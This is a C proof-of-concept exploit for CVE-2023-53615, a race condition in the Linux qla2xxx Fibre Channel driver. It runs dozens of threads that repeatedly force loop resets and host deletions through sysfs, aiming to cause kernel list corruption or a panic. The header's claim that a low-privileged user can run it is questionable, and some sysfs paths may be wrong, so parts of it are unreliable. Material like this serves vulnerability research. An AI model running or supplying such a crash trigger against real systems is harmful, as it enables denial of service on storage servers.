/* CVE-2023-53615 - qla2xxx Session Deletion Race Condition PoC
* This PoC demonstrates how to trigger the race condition by repeatedly
* creating and destroying FC sessions to force concurrent deletion attempts.
*
* Note: Requires access to qla2xxx HBA and ability to scan/remove FC targets.
* Run as low-privileged user with appropriate FC host access permissions.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <pthread.h>
#include <errno.h>
#define FC_HOST_SYSFS "/sys/class/fc_host"
#define SCSI_HOST_SCAN "/sys/class/scsi_host/host%d/scan"
#define SCSI_HOST_DELETE "/sys/class/scsi_host/host%d/delete"
#define MAX_THREADS 16
#define ITERATIONS 1000
static volatile int trigger_race = 1;
void *trigger_session_creation(void *arg) {
int host_id = *(int *)arg;
char path[256];
while (trigger_race) {
/* Force FC remote port rescan to create new sessions */
snprintf(path, sizeof(path),
"/sys/class/fc_host/host%d/issue_lip", host_id);
int fd = open(path, O_WRONLY);
if (fd >= 0) {
write(fd, "1", 1);
close(fd);
}
usleep(100);
}
return NULL;
}
void *trigger_session_deletion(void *arg) {
int host_id = *(int *)arg;
char path[256];
while (trigger_race) {
/* Delete SCSI targets to force session deletion */
snprintf(path, sizeof(path),
"/sys/class/scsi_host/host%d/delete", host_id);
int fd = open(path, O_WRONLY);
if (fd >= 0) {
write(fd, "1", 1);
close(fd);
}
usleep(50);
}
return NULL;
}
int main(int argc, char *argv[]) {
pthread_t threads[MAX_THREADS * 2];
int host_id = 0;
int ret, i;
if (argc > 1) {
host_id = atoi(argv[1]);
}
printf("[+] CVE-2023-53615 PoC - qla2xxx Race Condition Trigger\n");
printf("[+] Target FC host ID: %d\n", host_id);
printf("[+] Starting concurrent session create/delete threads...\n");
/* Spawn multiple threads to create race condition */
for (i = 0; i < MAX_THREADS; i++) {
ret = pthread_create(&threads[i], NULL,
trigger_session_creation, &host_id);
if (ret != 0) {
fprintf(stderr, "[-] Failed to create creation thread: %s\n",
strerror(ret));
return 1;
}
ret = pthread_create(&threads[MAX_THREADS + i], NULL,
trigger_session_deletion, &host_id);
if (ret != 0) {
fprintf(stderr, "[-] Failed to create deletion thread: %s\n",
strerror(ret));
return 1;
}
}
/* Let the race condition trigger */
sleep(ITERATIONS / 10);
/* Stop threads */
trigger_race = 0;
for (i = 0; i < MAX_THREADS * 2; i++) {
pthread_join(threads[i], NULL);
}
printf("[+] Race condition trigger completed.\n");
printf("[+] Check dmesg for list corruption or kernel panic.\n");
return 0;
}